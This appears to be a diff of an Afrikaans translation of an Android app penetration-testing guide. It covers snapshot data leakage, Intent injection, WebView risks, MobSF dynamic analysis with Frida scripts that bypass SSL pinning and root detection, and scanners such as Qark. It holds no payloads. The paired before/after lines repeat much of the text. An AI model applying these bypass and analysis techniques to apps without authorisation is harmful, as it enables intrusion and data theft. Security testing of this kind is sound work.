Wanneer jy 'n toepassing in die agtergrond plaas, stoor Android 'n **snapshot van die toepassing** sodat wanneer dit herstel word na die voorgrond, dit die beeld begin laai voordat die app, sodat dit lyk asof die app vinniger gelaai is.
Wanneer jy 'n toepassing in die agtergrond plaas, stoor Android 'n **snapshot van die toepassing** sodat wanneer dit herstel word na die voorgrond, dit begin laai die beeld voordat die app, sodat dit lyk asof die app vinniger gelaai is.
As hierdie snapshot egter **sensitiewe inligting** bevat, kan iemand met toegang tot die snapshot daardie inligting **steel** (let daarop dat jy root nodig het om toegang te verkry).
E however, as hierdie snapshot **sensitiewe inligting** bevat, kan iemand met toegang tot die snapshot daardie inligting **steel** (let daarop dat jy root nodig het om toegang te verkry).
Die snapshots word gewoonlik gestoor rondom: **`/data/system_ce/0/snapshots`**
@ -497,12 +501,12 @@ Hierdie hulpmiddel kan jou help om verskillende hulpmiddels te bestuur tydens di
Ontwikkelaars skep dikwels proxy-komponente soos aktiwiteite, dienste en uitsendingsontvangers wat hierdie Intents hanteer en dit aan metodes soos `startActivity(...)` of `sendBroadcast(...)` oorplaas, wat riskant kan wees.
Die gevaar lê in die toelaat van aanvallers om nie-geëksporteerde app-komponente te aktiveer of toegang tot sensitiewe inhoudverskaffers te verkry deur hierdie Intents verkeerd te lei. 'n Opmerkelijke voorbeeld is die `WebView` komponent wat URL's na `Intent` objektes omskakel via `Intent.parseUri(...)` en dit dan uitvoer, wat moontlik kan lei tot kwaadwillige Intent inspuitings.
Die gevaar lê in die toelaat van aanvallers om nie-geëksporteerde app-komponente te aktiveer of toegang tot sensitiewe inhoudverskaffers te verkry deur hierdie Intents verkeerd te lei. 'n Opmerkelijke voorbeeld is die `WebView` komponent wat URL's na `Intent`-objekte omskakel via `Intent.parseUri(...)` en dit dan uitvoer, wat moontlik kan lei tot kwaadwillige Intent-inspuitings.
### Belangrike Afleidings
- **Intent Inspuiting** is soortgelyk aan die web se Open Redirect probleem.
- Exploits behels die oorplasing van `Intent` objektes as ekstra's, wat herlei kan word om onveilige operasies uit te voer.
- Exploits behels die oorplasing van `Intent`-objekte as ekstra's, wat herlei kan word om onveilige operasies uit te voer.
- Dit kan nie-geëksporteerde komponente en inhoudverskaffers aan aanvallers blootstel.
- `WebView`’s URL na `Intent` omskakeling kan onbedoelde aksies fasiliteer.
@ -511,7 +515,7 @@ Die gevaar lê in die toelaat van aanvallers om nie-geëksporteerde app-komponen
Waarskynlik weet jy van hierdie soort kwesbaarhede van die Web. Jy moet spesiaal versigtig wees met hierdie kwesbaarhede in 'n Android-toepassing:
- **SQL Inspuiting:** Wanneer jy met dinamiese navrae of Inhoudverskaffers werk, verseker dat jy geparametriseerde navrae gebruik.
- **JavaScript Inspuiting (XSS):** Verifieer dat JavaScript en Plugin ondersteuning gedeaktiveer is vir enige WebViews (standaard gedeaktiveer). [Meer inligting hier](webview-attacks.md#javascript-enabled).
- **JavaScript Inspuiting (XSS):** Verifieer dat JavaScript en Plugin-ondersteuning vir enige WebViews gedeaktiveer is (standaard gedeaktiveer). [Meer inligting hier](webview-attacks.md#javascript-enabled).
- **Plaaslike Lêer Insluiting:** WebViews moet toegang tot die lêerstelsel gedeaktiveer hê (standaard geaktiveer) - `(webview.getSettings().setAllowFileAccess(false);)`. [Meer inligting hier](webview-attacks.md#javascript-enabled).
- **Ewige koekies**: In verskeie gevalle wanneer die android-toepassing die sessie beëindig, word die koekie nie herroep nie of dit kan selfs op skyf gestoor word.
- [**Veilige Vlag** in koekies](../../pentesting-web/hacking-with-cookies/index.html#cookies-flags)
@ -532,16 +536,16 @@ docker pull opensecurity/mobile-security-framework-mobsf
docker run -it -p 8000:8000 opensecurity/mobile-security-framework-mobsf:latest
```
Let wel dat MobSF **Android**(apk)**, IOS**(ipa) **en Windows**(apx) toepassings kan analiseer (_Windows toepassings moet geanaliseer word vanaf 'n MobSF wat op 'n Windows gasheer geïnstalleer is_).\
As jy ook 'n **ZIP**-lêer met die bronkode van 'n **Android** of **IOS** app skep (gaan na die wortelgids van die toepassing, kies alles en skep 'n ZIP-lêer), sal dit ook in staat wees om dit te analiseer.
As jy ook 'n **ZIP** lêer met die bronkode van 'n **Android** of **IOS** app skep (gaan na die wortelgids van die toepassing, kies alles en skep 'n ZIP-lêer), sal dit ook in staat wees om dit te analiseer.
MobSF laat jou ook toe om **diff/vergelyking** analises te doen en om **VirusTotal** te integreer (jy sal jou API-sleutel in _MobSF/settings.py_ moet instel en dit aktiveer: `VT_ENABLED = TRUE` `VT_API_KEY = <Jou API-sleutel>` `VT_UPLOAD = TRUE`). Jy kan ook `VT_UPLOAD` op `False` stel, dan sal die **hash** ge **upload** word in plaas van die lêer.
### Geassisteerde dinamiese analise met MobSF
**MobSF** kan ook baie nuttig wees vir **dinamiese analise** in **Android**, maar in daardie geval sal jy MobSF en **genymotion** op jou gasheer moet installeer ('n VM of Docker sal nie werk nie). _Let wel: Jy moet **eers 'n VM in genymotion begin** en **dan MobSF.**_\
**MobSF** kan ook baie nuttig wees vir **dinamiese analise** in **Android**, maar in daardie geval sal jy MobSF en **genymotion** op jou gasheer moet installeer (n VM of Docker sal nie werk nie). _Let wel: Jy moet **eers 'n VM in genymotion begin** en **dan MobSF.**_\
Die **MobSF dinamiese ontleder** kan:
- **Dump toepassingsdata** (URL's, logs, klembord, skermskote gemaak deur jou, skermskote gemaak deur "**Exported Activity Tester**", e-posse, SQLite-databasisse, XML-lêers, en ander geskepte lêers). Al hierdie word outomaties gedoen behalwe vir die skermskote, jy moet druk wanneer jy 'n skermskoot wil hê of jy moet druk op "**Exported Activity Tester**" om skermskote van al die uitgevoerde aktiwiteite te verkry.
- **Dump toepassingsdata** (URL's, logs, klembord, skermskote gemaak deur jou, skermskote gemaak deur "**Exported Activity Tester**", e-posse, SQLite databasisse, XML-lêers, en ander geskepte lêers). Al hierdie word outomaties gedoen behalwe vir die skermskote, jy moet druk wanneer jy 'n skermskoot wil hê of jy moet druk op "**Exported Activity Tester**" om skermskote van al die uitgevoerde aktiwiteite te verkry.
- **HTTPS-verkeer** vasvang
- **Frida** gebruik om **runtime** **inligting** te verkry
@ -549,11 +553,11 @@ Van Android **weergawe > 5**, sal dit **outomaties Frida begin** en globale **pr
**Frida**
Standaard sal dit ook 'n paar Frida-skripte gebruik om **SSL pinning** te **omseil**, **root-detektering** en **debugger-detektering** en om **interessante API's** te **moniteer**.\
Standaard sal dit ook 'n paar Frida-skripte gebruik om **SSL pinning** te **omseil**, **root-detektering** en **debugger-detektering** te **omseil** en om **interessante API's** te **moniteer**.\
MobSF kan ook **uitgevoerde aktiwiteite** aanroep, **skermskote** daarvan neem en dit **stoor** vir die verslag.
Om die dinamiese toetsing te **begin**, druk die groen knoppie: "**Begin Instrumentasie**". Druk op "**Frida Live Logs**" om die logs te sien wat deur die Frida-skripte gegenereer word en "**Live API Monitor**" om al die aanroepings na gehookte metodes, oorgedraagde argumente en teruggegee waardes te sien (dit sal verskyn nadat jy "Begin Instrumentasie" gedruk het).\
MobSF laat jou ook toe om jou eie **Frida-skripte** te laai (om die resultate van jou Frida-skripte na MobSF te stuur, gebruik die funksie `send()`). Dit het ook **verskeie vooraf geskryfde skripte** wat jy kan laai (jy kan meer byvoeg in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/`), kies net **hulle**, druk "**Laai**" en druk "**Begin Instrumentasie**" (jy sal in staat wees om die logs van daardie skripte binne "**Frida Live Logs**" te sien).
Om die dinamiese toetsing te **begin**, druk die groen knoppie: "**Start Instrumentation**". Druk op die "**Frida Live Logs**" om die logs te sien wat deur die Frida-skripte gegenereer word en "**Live API Monitor**" om al die aanroepings na gehookte metodes, oorgedraagde argumente en teruggegee waardes te sien (dit sal verskyn nadat jy "Start Instrumentation" gedruk het).\
MobSF laat jou ook toe om jou eie **Frida-skripte** te laai (om die resultate van jou Frida-skripte na MobSF te stuur, gebruik die funksie `send()`). Dit het ook **verskeie vooraf geskryfde skripte** wat jy kan laai (jy kan meer by `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` voeg), kies net **hulle**, druk "**Load**" en druk "**Start Instrumentation**" (jy sal in staat wees om die logs van daardie skripte binne "**Frida Live Logs**" te sien).
![](<../../images/image (419).png>)
@ -561,12 +565,12 @@ Boonop het jy 'n paar bykomende Frida-funksies:
- **Laden Klasse Opnoem**: Dit sal al die geladen klasse druk
- **Strings Vasvang**: Dit sal al die vasgevangde strings druk terwyl jy die toepassing gebruik (baie lawaaiig)
- **String Vergelykings Vasvang**: Kan baie nuttig wees. Dit sal **die 2 strings wat vergelyk word** wys en of die resultaat Waar of Vals was.
- **String Vergelykings Vasvang**: Dit kan baie nuttig wees. Dit sal **die 2 strings wat vergelyk word** wys en of die resultaat Waar of Vals was.
- **Klas Metodes Opnoem**: Sit die klasnaam (soos "java.io.File") en dit sal al die metodes van die klas druk.
- **Klas Patroon Soek**: Soek klasse volgens patroon
- **Klas Metodes Trace**: **Trace** 'n **hele klas** (sien insette en uitsette van al die metodes van die klas). Onthou dat MobSF standaard verskeie interessante Android API-metodes trace.
Sodra jy die bykomende module wat jy wil gebruik, gekies het, moet jy druk op "**Begin Instrumentasie**" en jy sal al die uitsette in "**Frida Live Logs**" sien.
Sodra jy die bykomende module wat jy wil gebruik, gekies het, moet jy druk op "**Start Instrumentation**" en jy sal al die uitsette in "**Frida Live Logs**" sien.
**Shell**
@ -581,7 +585,7 @@ receivers
```
**HTTP gereedskap**
Wanneer http-verkeer gevang word, kan jy 'n lelike weergawe van die gevange verkeer op "**HTTP(S) Traffic**" onderaan sien of 'n mooi weergawe in "**Start HTTPTools**" groen knoppie. Van die tweede opsie kan jy **stuur** die **gevange versoeke** na **proxies** soos Burp of Owasp ZAP.\
Wanneer http-verkeer gevang word, kan jy 'n lelike weergawe van die gevange verkeer op "**HTTP(S) Traffic**" onderaan sien of 'n mooi weergawe in die "**Start HTTPTools**" groen knoppie. Van die tweede opsie kan jy die **gevange versoeke** na **proxies** soos Burp of Owasp ZAP **stuur**.\
Om dit te doen, _skakel Burp aan -->_ _skakel Intercept af --> in MobSB HTTPTools kies die versoek_ --> druk "**Send to Fuzzer**" --> _kies die proxy adres_ ([http://127.0.0.1:8080\\](http://127.0.0.1:8080)).
Sodra jy die dinamiese analise met MobSF voltooi het, kan jy op "**Start Web API Fuzzer**" druk om **http versoeke te fuzz** en soek na kwesbaarhede.
@ -606,7 +610,7 @@ Dit is 'n **wonderlike gereedskap om statiese analise met 'n GUI uit te voer**
### [Qark](https://github.com/linkedin/qark)
Hierdie gereedskap is ontwerp om te soek na verskeie **veiligheidsverwante Android-toepassing kwesbaarhede**, hetsy in **bronkode** of **gepakte APKs**. Die gereedskap is ook **in staat om 'n "Proof-of-Concept" ontploembare APK** en **ADB-opdragte** te skep, om sommige van die gevonde kwesbaarhede te benut (Blootgestelde aktiwiteite, intents, tapjacking...). Soos met Drozer, is daar geen behoefte om die toetsapparaat te root nie.
Hierdie gereedskap is ontwerp om na verskeie **veiligheidsverwante Android-toepassing kwesbaarhede** te soek, hetsy in **bronkode** of **gepakte APK's**. Die gereedskap is ook **in staat om 'n "Proof-of-Concept" ontploembare APK** en **ADB-opdragte** te skep, om sommige van die gevonde kwesbaarhede (Blootgestelde aktiwiteite, intents, tapjacking...) te benut. Soos met Drozer, is daar geen behoefte om die toetsapparaat te root nie.
```bash
pip3 install --user qark # --user is only needed if not using a virtualenv
qark --apk path/to/my.apk
@ -630,7 +634,7 @@ SUPER is 'n opdraglyn-toepassing wat in Windows, MacOS X en Linux gebruik kan wo
Alle reëls is gefokus in 'n `rules.json` lêer, en elke maatskappy of toetsers kan hul eie reëls skep om te analiseer wat hulle nodig het.
Laai die nuutste binêre af van die [download page](https://superanalyzer.rocks/download.html)
Laai die nuutste binêre af van die [aflaai bladsy](https://superanalyzer.rocks/download.html)
```
super-analyzer {apk_file}
```
@ -673,17 +677,17 @@ python androwarn.py -i my_application_to_be_analyzed.apk -r html -v 3
Dit kan:
- Java en Smali kode onttrek met behulp van verskillende hulpmiddels
- APK's analiseer met behulp van: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
- APK's analiseer met: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD)
- Privaat inligting uit die APK onttrek met behulp van regexps.
- Die Manifest analiseer.
- Gevonde domeine analiseer met behulp van: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) en [whatweb](https://github.com/urbanadventurer/WhatWeb)
- Gevonde domeine analiseer met: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) en [whatweb](https://github.com/urbanadventurer/WhatWeb)
- APK deobfuskeer via [apk-deguard.com](http://www.apk-deguard.com)
### Koodous
Nuttig om malware te detecteer: [https://koodous.com/](https://koodous.com)
## Obfuskerende/Deobfuskerende kode
## Obfuscating/Deobfuscating code
Let daarop dat dit afhang van die diens en konfigurasie wat jy gebruik om die kode te obfuskeer. Geheime mag of mag nie obfuskeer wees nie.
@ -707,7 +711,7 @@ Vind 'n stap-vir-stap gids om die apk te deobfuskeer in [https://blog.lexfo.fr/d
### [DeGuard](http://apk-deguard.com)
**DeGuard keer die proses van obfuskering wat deur Android obfuskeringshulpmiddels uitgevoer word, om. Dit stel talle sekuriteitsanalises in staat, insluitend kode-inspeksie en die voorspellings van biblioteke.**
**DeGuard keer die proses van obfuskerings wat deur Android obfuskeringshulpmiddels uitgevoer word, om. Dit stel talle sekuriteitsanalises in staat, insluitend kode-inspeksie en die voorspellings van biblioteke.**
Jy kan 'n obfuskeer APK na hul platform oplaai.